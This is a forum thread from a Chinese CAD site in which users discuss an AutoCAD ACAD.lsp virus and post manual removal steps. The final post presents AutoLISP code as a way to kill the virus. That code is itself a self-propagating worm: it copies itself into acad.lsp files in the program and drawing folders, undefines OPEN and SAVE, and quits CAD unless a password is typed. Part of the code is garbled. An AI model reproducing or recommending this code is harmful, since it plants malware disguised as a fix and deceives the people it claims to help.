iCAx开思网

标题: 求助:我中了ACAD.lsp的病毒了? [打印本页]

作者: lmy1985 时间: 2006-5-13 09:49
标题: 求助:我中了ACAD.lsp的病毒了?
求助:我中了ACAD.lsp的病毒了?
哪位大哥知道哪里有杀毒的~~

作者: lizhu 时间: 2006-5-13 10:21
完了，＊.dwg还没听说能中毒，lsp不知道，完了，完了，将lsp全部干掉，从别处考回。

[ 本帖最后由 lizhu 于 2006-5-13 10:23 编辑 ]

作者: xta2006 时间: 2006-5-13 11:07
ACAD.lsp的病毒
第一次听说

作者: sirqin 时间: 2006-5-13 23:43
应该不是的，有些杀毒软件把宏视作病毒。LSP本来就是文体文件。

作者: yesong555 时间: 2006-5-14 14:25
手工杀毒:
1、关闭所有cad
2、以acad.lsp为关键词，搜索所有存放dwg文件的文件夹（或者整个硬盘），发现大小为4K的，统统删除。注意，只删除在存放dwg文件的文件夹下发现的acad.lsp，cad和专业软件安装文件夹下的不要删除！
3、删除C:\Program Files\AutoCAD R14\SUPPORT文件夹下的acadapp.lsp
4、打开C:\Program Files\AutoCAD R14\SUPPORT文件夹下的acad.lsp文件，删除
(load "acadapp")
(princ)
两行内容，如果文件内容只有这两行，则将整个acad.lsp文件删除
5、打开C:\Program Files\AutoCAD R14\SUPPORT文件夹下的acad.mnl文件，在文件末尾，删除
(load "acadapp")
(princ)
这两行内容可能重复出现多次，统统删除
6、将acad.mnl文件属性改为只读

OK，问题解决

再上传一个专杀软件:

作者: ronhanm 时间: 2006-5-14 22:01
是个好东东，谢谢楼上兄弟！

作者: zuoweisz 时间: 2007-5-28 15:58
用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).

(defun S::STARTUP (/       old_cmd  lctn    dwglctn  mnllctn
               applctn  oldacad  newacad  nowdwg lspbj
               wjm    wjm1    wjqm    wjqm1 wz
               ns1    ns2    wjm0    wjqm0
               )
  (setq lst0 (list "(" "load" "CADstartup.lsp" ")"))

  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn)
(if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn)
   (if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) )))
  (setq lctn lctn0)
  (setq lctn (substr lctn 1 (- (strlen lctn) 8)))
  (setq mnllctn (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(if (equal  (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
  (setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) )
  (setq wjqm (strcat lctn "acad.lsp"))
  (setq wjqm0 (strcat lctn "cadapp.lsp"))
  (if (setq wjm0 (open wjqm0 "a"))
;(progn
;(setq aa (read-line wjm0))
;(if (/= aa "load CADstartup.lsp")
(progn
   (setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0)))
   (write-line aa wjm0)
   )
   (close wjm0)
)

   (setq oldacad (findfile "CADstartup.lsp"))
   (setq newacad (strcat lctn "acad.lsp"))
   (writeapp)
  (setq oldacad (findfile "acad.lsp"))
  (setq newacad (strcat dwglctn "acad.lsp"))
   (writeapp)
  (command "undefine" "open")
  (command "undefine" "save")
  (setvar "cmdecho" old_cmd)
(print "This is CAD")
  (princ)
)
(defun writeapp ()
  (if
(setq wjm1 (open newacad "w"))
   (progn
   (setq wjm (open oldacad "r"))
   (while
      (setq wz (read-line wjm))
      (write-line wz wjm1)
   )
   (close wjm)
   (close wjm1)
   )
  )
)
(defun C

pen (/ p cont old_cmd)
  (setq
old_cmd (getvar "cmdecho")
  )
  (setvar "cmdecho" 0)
  (setq p "12345")
  (setq p0 (getstring "\Input Pass Word:"))
  (if (eq p p0) (progn
(command "redefine" "open")
(command "open" "")) (command "quit" ""))
)
(defun C:save (/ old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
(setq p0 (getstring "\Are you finish?"))
  (command "redefine" "save")
  (command  "save" "")
  (setvar "cmdecho" old_cmd)
  (princ)
)

欢迎光临 iCAx开思网 (https://www.icax.net/)